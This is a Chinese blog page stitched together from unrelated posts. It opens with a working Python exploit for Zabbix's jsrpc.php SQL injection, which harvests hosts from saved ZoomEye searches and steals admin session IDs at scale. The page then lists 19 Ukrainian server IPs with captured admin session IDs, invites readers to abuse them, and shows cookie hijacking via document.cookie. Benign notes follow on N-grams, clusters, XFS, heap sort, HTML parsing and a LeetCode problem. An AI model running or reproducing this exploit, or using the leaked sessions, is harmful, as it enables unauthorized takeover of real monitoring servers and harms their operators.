借助zoomeye进行Zabbix管理员sessionid抓取

首先 贴一下Exp:

import threadpool
import os,re
import urllib,sys,urllib2,urllib
import socket
socket.setdefaulttimeout(30)
ip_tag = r'<a.*?hint\-\-bottom.*?href="(.*?)"'
output_file = None
cnt = 0
def cookie(url):
    poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color='
    try:
        body= urllib.urlopen(url+poc).read()
    except:
        return None
    cookie=body.split('Duplicate entry')
    if len(cookie) > 1:
        cookie = cookie[1].split('for key')[0][3:-2]
    else:
        cookie = None
    return cookie
def test(cookie,url):
    if cookie is None:
        return
    url=url+'proxies.php'
    req=urllib2.Request(url)
    cook="zbx_sessionid=%s" % cookie
    req.add_header('Cookie', cook)
    try:
        response=urllib2.urlopen(req)
        data=response.read()
    except:
        return
 
    if data.find('Access denied.') < 0:
        return cookie
    else:
        return None
def re_ip(file):
    if os.path.exists(file) == False:
        return []
    f = open(file,'r+b')
    info = f.read()
    f.close()
    hosts = re.findall(ip_tag,info)
    return hosts
def capture_host(dir_path):
    all_host = list()
    if os.path.exists(dir_path):
        for p,d,s in os.walk(dir_path):
            for f in s:
                c_p = os.path.join(dir_path,f)
                c_h = re_ip(c_p)
                all_host.extend(c_h)
    return list(set(all_host))          
def t_p(ip):
    ret = test(cookie(ip),ip)
    if ret is not None:
        #print 'Found--->'+ip+' '+str(ret)
        global output_file
        f = open(output_file,'a+b')
        f.write(ip+' '+str(ret)+os.linesep)
        f.close()
    global cnt
    cnt += 1
    print cnt
if __name__ == '__main__':
    inf = sys.argv[1]
    output_file = sys.argv[2]
    h_s = capture_host(inf)
    print len(h_s)
    r_h = list()
    pool = threadpool.ThreadPool(100)
    requests = threadpool.makeRequests(t_p, h_s)
    [pool.putRequest(req) for req in requests]
    pool.wait()
    print 'DOne'

把Zoomeye Zabbix的查询页面保存到一个文件夹里,记得保存时要保存所有页面。
然后执行 :
python zabbix.py 保存html的目录名 想要保存结果的文件

Done!
下面展示下乌克兰存在Zabbix Sqli的系统及管理sessionid,拿去随意挥霍吧:
(问我怎么挥霍?改登录页面cookie!
document.cookie = “zbx_sessionid=捕获的sessionid”

http://91.206.212.227:8080/ 055dca7e83903f1b69f452a154ef09b9
http://185.86.77.122/ 0e41db18294a0adec7284b991da6a7cb
http://171.25.175.67/ 02c43a0f838231adb05d955a932a4505
http://92.249.114.95/ 04b0fb8f88b2cdb3aacba527f128b2c4
http://91.209.24.4/ 0207a743a3e3180b894f9e91ac350a7a
http://213.160.154.14/ 0d53f71b01d609e687067ff146f30a85
http://217.77.221.237:8888/ 5b9ce69b0e56bc654662e2978d2283a0
http://193.34.172.134/ 469746715bf9b3c96e733993f8be34b4
http://46.172.71.146:82/ 05df4b5e6af1498cd1ac5f92c5222cbd
http://83.142.232.43/ 0000038ad556182db58a919a1b482622
http://94.158.80.46/ 09bb97782274e3df61af0a7ed0260318
http://91.209.24.3/ 0207a743a3e3180b894f9e91ac350a7a
http://185.46.188.22/ 3d12a4ba3467cb2af64c7a3476be5628
http://212.26.129.115:8080/ 08345539730cfcc08d90bc3c8d165718
http://194.8.145.83/ 006f26c73934db6f43d5f51a1963f86c
http://31.28.167.83/ c1c1b254abf47e15221ef2cd4be9fc5f
http://77.120.122.9/ 1d336b417920ddf72794a6e2c01f8d6f
http://77.120.123.13/ 2d8a354f49b228730b9d5589c846979e
http://91.199.93.162/ 0a77174837ef338a6f964c756fdd584e

马尔科夫链(Markov) 概念定义

马尔可夫链,因安德烈·马尔可夫(A.A.Markov,1856-1922)得名,是指数学中具有马尔可夫性质的离散事件随机过程。该过程中,在给定当前知识或信息的情况下,过去(即当前以前的历史状态)对于预测将来(即当前以后的未来状态)是无关的。

一句话说就是,马尔科夫链(Markov)是一个无后效性,状态和时间都是离散的随机过程。

 

N-Gram 模型的假设

N-Gram 模型基于这样一种假设,第n个词的出现只与前面n-1个词相关,而与其它任何词都不相关,整句的概率就是各个词出现概率的乘积。在拼写检查里即是一个字母的出现概率只和前n-1个字母的出现概率相关,并且是前n-1个字母出现概率的乘积。

20世纪70年代之前,科学家们试图推断这个文字序列是否合乎文法、含义是否正确等。但这条路走不动。贾里尼克从另外一个角度来看待这个问题。用一个简单的统计语言模型非常美丽的搞定了它。贾里尼克的出发点非常easy:一个句子是否合理。就看看它的可能性大小怎样。至于可能性就用概率来衡量。第一个句子出现的概率最大,因此。第一个句子最有可能句子结构合理。这种方法更普通而严格的描写叙述是: 假定S表示某一个有意义的句子,由一连串特定顺序排列的词w1,w2,w3,…,wn组成。这里n是句子的长度。如今,我想知道S在文本中(语料库)出现的可能性,也就是数学上所说的S的概率P(S)。我们须要一个模型来估算概率。既然S=w1,w2,w3,…,wn。那么最好还是把P(S)展开表示: P(S)=P(w1,w2,w3,…,wn)

利用条件概率的公式。S这个序列出现的概率等于每个词出现的条件概率相乘,于是P(w1,…,wn)展开为:、
P(S)=P(W1,W2,W3,…,Wn)=P(W1)P(W2|W1)P(W3|W1,W2)…P(Wn|W1,W2,…,Wn-1)
当中P(w1)表示第一个词w1出现的概率;P(w2|w1)是已知第一个词的前提下。第二个词出现的概率;以此类推,词wn出现的概率取决于它前面全部的词。
可是这样的方法存在两个致命的缺陷:一个缺陷是參数空间过大(条件概率P(wn|w1,w2,…,wn-1)的可能性太多,无法估算),不可能有用处。另外一个缺陷是数据稀疏严重。
数据稀疏的解释:如果词表中有20000个词,如果是bigram model(二元模型)那么可能的2-gram就有400000000个,如果是trigram(3元模型),那么可能的3-gram就有8000000000000个!那么对于当中的非常多词对的组合,在语料库中都没有出现,依据最大似然估计得到的概率将会是0。这会造成非常大的麻烦,在算句子的概率时一旦当中的某项为0。那么整个句子的概率就会为0,最后的结果是,我们的模型仅仅能算可怜兮兮的几个句子,而大部分的句子算得的概率是0. 因此,我们要进行数据平滑(data Smoothing),数据平滑的目的有两个:一个是使全部的N-gram概率之和为1,使全部的N-gram概率都不为0,有关数据平滑处理的方法能够參考《数学之美》第33页的内容。

网站集群分类

一般来讲,集群软件根据侧重的方向和试图解决的问题,分为三大类:高性能集群(High performance cluster,HPC)、负载均衡集群(Load balance cluster, LBC),高可用性集群(High availability cluster,HAC)。
高性能集群(High performance cluster,HPC),它是利用一个集群中的多台机器共同完成同一件任务,使得完成任务的速度和可靠性都远远高于单机运行的效果。弥补了单机性能上的不足。该集群在天气预报、环境监控等数据量大,计算复杂的环境中应用比较多;
负载均衡集群(Load balance cluster, LBC),它是利用一个集群中的多台单机,完成许多并行的小的工作。一般情况下,如果一个应用使用的人多了,那么用户请求的响应时间就会增大,机器的性能也会受到影响,如果使用负载均衡集群,那么集群中任意一台机器都能响应用户的请求,这样集群就会在用户发出服务请求之后,选择当时负载最小,能够提供最好的服务的这台机器来接受请求并相应,这样就可用用集群来增加系统的可用性和稳定性。这类集群在网站中使用较多;
高可用性集群(High availability cluster,HAC),它是利用集群中系统 的冗余,当系统中某台机器发生损坏的时候,其他后备的机器可以迅速的接替它来启动服务,等待故障机的维修和返回。最大限度的保证集群中服务的可用性。这类系统一般在银行,电信服务这类对系统可靠性有高的要求的领域有着广泛的应用。

Centos6挂载40T RAID磁盘

因为ext文件系统本身分区表的限制导致无法管理超过16T的文件系统,那么当超过16T时采用XFS文件系统就可以解决问题。

 

1.使用parted创建GPT分区

2.使用mkfs.xfs -f 命令格式化GPT为XFS文件系统

注意:Centos6如果没有mkfs.xfs命令,可以通过rpm安装。下面放下地址:

http://pkgs.org/centos-6/centos-x86_64/xfsprogs-3.1.1-4.el6.x86_64.rpm

http://pkgs.org/centos-6/centos-x86_64/xfsdump-3.0.4-4.el6_6.1.x86_64.rpm

下载上面的两个rpm并按顺序安装好就可以使用mkfs.xfs进行格式化了。

堆排序的C++实现

堆排序的要点在于【向上调整堆】以及【向下调整堆】。

将这两个要点搞清楚堆排序就很简单了。

—————————————————————–

#include <iostream>
#include <vector>
using namespace std;

//辅助函数
void Swap(vector<int> &v,int i,int j){
v[i]^= v[j];
v[j]^= v[i];
v[i]^= v[j];
}
void Print(vector<int> v){
for(auto vi = v.begin();vi!=v.end();++vi) cout<<*vi<<” “;
cout<<endl;
}

/*堆操作函数*/
//向下调整堆
void AdjustDown(vector<int> &v,int i,int n){
for(int j=i*2;j<=n;j=j*2){
if(j<n&&v[j]<v[j+1]) ++j;
if(v[i]>v[j]) break;
else{
Swap(v,i,j);
i=j;
}
}
}
//向上调整堆
void AdjustUp(vector<int> &v,int i,int n){
for(int j=i/2;v[i]>v[j];j/=2){
Swap(v,j,i);
i=j;
}
}
//建堆
void BuildMaxHeap(vector<int> &v,int n){
for(int i=n/2;i>0;–i){
AdjustDown(v,i,n);
}
}
void MaxHeapInsert(vector<int> &v,int ins){
v.push_back(ins);
}
//大顶堆排序
void HeapSort(vector<int> &v,int n){
BuildMaxHeap(v,n);
for(int i=n;i>1;–i){
Swap(v,i,1);
AdjustDown(v,1,i-1);
}
}
int main()
{
vector<int> v = {0,53,17,78,9,45,65,87,32,1,43,22,67,83};
HeapSort(v,v.size()-1);
Print(v);
BuildMaxHeap(v,v.size()-1);
MaxHeapInsert(v,44);
HeapSort(v,v.size()-1);
Print(v);
return 0;
}

深入解析浏览器解析机制

一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个'<‘符号(后面没有跟’/’符号)就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”,“前属性名状态(before attribute name state)”……最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。

leetcode9 [Palindrome Number] [Easy,C++]

题目来源:

https://leetcode.com/problems/palindrome-number/

题目描述:

Determine whether an integer is a palindrome. Do this without extra space.

Some hints:Could negative integers be palindromes? (ie, -1)

If you are thinking of converting the integer to string, note the restriction of using extra space.

You could also try reversing an integer. However, if you have solved the problem “Reverse Integer”, you know that the reversed integer might overflow. How would you handle such case?

There is a more generic way of solving this problem.

中文描述:

判断一个int是不是对称数。

限制计算空间。

解题思路:

根据对称数的判定特点,首先将int按中点截为2个子段。

然后对字段进行判断。

对字段的判断有多种方法,可以将其中一个逆转然后比较两个数的大小。这种方法要比下面的方法效率更高。

也可以按位判断,从一个段的正序与另一个段的逆序按位判断。

我的AC:

<1>正逆序按位比较法     100ms

bool isPalindrome(int x) {
if (x < 0) return false;
if (x == 0) return true;
unsigned pdlen = 0, half=0;
int jlen = x,header=0,tailer=0,prefix=0;
while (jlen){//首先求出int长度
++pdlen;
jlen /= 10;
}
half = pdlen / 2;//分割数据
prefix = pow(10, half);
header = pdlen & 0x1 ? x / pow(10, half + 1) : x / pow(10, half);
tailer = x – x / prefix*prefix;

while (half){//按位判断
int div = pow(10, half – 1);
int htop = header / div;
header -= htop*div;

int tbot = tailer % 10;
tailer /= 10;
if (htop != tbot) return false;
–half;
}
return true;
}

<2>单一逆序比较法   76ms

bool isPalindrome(int x) {
if (x < 0) return false;
if (x == 0) return true;
unsigned pdlen = 0, half=0;
int jlen = x,header=0,tailer=0,prefix=0;
while (jlen){
++pdlen;
jlen /= 10;
}
half = pdlen / 2;
prefix = pow(10, half);
header = pdlen & 0x1 ? x / pow(10, half + 1) : x / pow(10, half);
tailer = x – x / prefix*prefix;

//上面先求出数据长度

//下面将header逆转与tailer比较大小

//不逆转tailer的原因在于像00000012这样的tailer逆序的话不会算成21000000,而是21.而header逆转不会有这个问题。

int reverse_header = 0;
while (header){
int mod = header % 10;
header /= 10;
reverse_header = reverse_header * 10 + mod;
}
if (reverse_header != tailer) return false;
return true;
}